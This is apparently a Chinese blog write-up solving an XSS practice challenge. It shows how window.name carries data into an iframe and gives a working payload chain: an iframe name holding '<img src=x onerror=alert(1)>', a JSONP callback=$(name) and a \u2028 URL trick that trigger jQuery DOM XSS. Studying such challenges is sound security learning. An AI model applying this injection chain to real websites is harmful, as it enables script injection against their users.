iframe内外,可以通过window.name进行传输参数,参考,此处举个例子
iframe-a.html
:引入iframe-b.html页面
1<iframe id="lala" name="**from-a-name**" src="./iframe-b.html"></iframe>
iframe-b.html
:
1<script> 2 console.log("b-name-output:"+name) 3 console.log("b-window.name-output:"+window.name) 4 5 name="b-name-change" 6 // window.name="b-windows-name-change"(上下两句等价) 7 console.log("change-b-name-output:"+name) 8 console.log("change-b-window.name-output:"+window.name) 9</script>
结果:
1b-name-output:**from-a-name** 2b-window.name-output:**from-a-name** 3change-b-name-output:b-name-change 4change-b-window.name-output:b-name-change 5//输出 6document.getElementById('lala').name 7"**from-a-name**" 8document.getElementById('lala').contentWindow.name 9"b-name-change"
由于我们打开的是A页面,通过document获取iframe参数,然后输出查看值:
可以见的:
如果只是放在桌面上打开,而本地不起web服务放入这两个文件再访问,会爆这个错误:Blocked a frame with origin "null" from accessing a cross-origin frame.
那么至此就很明显了:弄一个iframe,在name里传入我们的payload,然后$()它即可。
当然在callback值中由于长度问题,不能使用$(window.name)
,使用$(name)
长度刚好,writeup:
1<iframe id="lala" name="<img src=x onerror=alert(1)>" src=""></iframe> 2<script> 3 document.getElementById("lala").src="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest6/user.php?callback=$(name)" 4</script>
使用Edge、或者IE打开均可。
在和px1642大哥提到题目的时候,被指着文章进行无情的鞭挞QAQ,由于做了挺久了,问了几个问题一个都回答不好,害。
<img src=x onerror=alert(1)>
修改为alert(1)
不可以弹框呢?其实题目的最终是将callback后面的参数值作为JS解析执行。修改了name,最终执行的JS就为:$("alert(1)")
在第二题中详细分析过JQuery的DOM XSS特性,是由于DOM操作插入标签引起的。但是当时一开始迷惑于,测试$(alert(1))
是可以弹框的,那为什么通过name拆开了alert(1)就不可以弹框了呢,死活想不通。
实际上$(alert(1))
和$("alert(1)")
完全不是一回事情,前者弹框是由于先进行表达式计算,后进入$(),才弹框的。后者这种形式本来就不能执行。
1<iframe id="lala" name="javascript:alert(1)" src=""></iframe>
2<script>
3 document.getElementById("lala").src="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest6/user.php?callback=name"
4</script>
其实这里就是把各种东西杂揉了进来,看起来好像很有道理,但是根本不沾边。
回归题目最终是将callback后面的参数值作为JS解析执行:
1name="javascript:alert(1)";
2name;
只不过区区变量而已,当然不弹框。
1<iframe id="lala" name="<img src=x onerror=alert(1)>" src="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest6/user.php?callback=$(name)"></iframe>
src的内容放下面不是多此一举嘛,直接提上来呗?
但是这样是不可以弹框的。
原因在于之前我们尝试在URL中直接访问上面src中的连接访问希望浏览器会解析我们的\u2028。但是浏览器会直接把\u2028当作6个字符,而不会把他当作一个unicode编码,所以我们需要引入一个字符串来先解析这个unicode编码,然后让浏览器访问。
之前我们是使用location=""
的形式,这样我们的地址就会在字符串中走一遍被unicode解析然后跳转。
同理现在是iframe的src,我们也通过一个字符串赋值的操作,来先解析\u2028,然后再访问。如果有疑问可以尝试打开,然后看网络访问情况就可以看到区别。
完美完结了一半